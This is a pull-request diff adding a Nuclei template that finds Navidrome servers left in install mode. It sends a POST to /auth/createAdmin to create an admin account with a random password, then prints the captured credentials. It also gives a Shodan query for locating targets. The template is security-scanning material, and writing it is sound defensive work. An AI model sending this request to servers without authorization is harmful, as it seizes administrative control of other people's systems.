Merge pull request #10819 from projectdiscovery/navidrome-admin-install

Create navidrome-admin-install.yaml

http/misconfiguration/installer/navidrome-admin-install.yaml

@@ -0,0 +1,44 @@
+id: navidrome-admin-install
+
+info:
+  name: Navidrome Admin User Creation
+  author: DhiyaneshDK
+  severity: critical
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: html:"content="Navidrome""
+  tags: navidrome,installer,misconfig,intrusive
+
+variables:
+  username: "admin"
+  password: "{{to_lower(rand_text_alpha(8))}}"
+
+http:
+  - raw:
+      - |
+        POST /auth/createAdmin HTTP/1.1
+        Host: {{Hostname}}
+        content-type: application/json
+        Origin: {{RootURL}}
+        Referer: {{RootURL}}/app/
+
+
+        {"username":"admin","password":"{{password}}"}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '"isAdmin":true'
+
+      - type: status
+        status:
+          - 200
+
+    extractors:
+      - type: dsl
+        dsl:
+          - '"USER: "+ username'
+          - '"PASS: "+ password'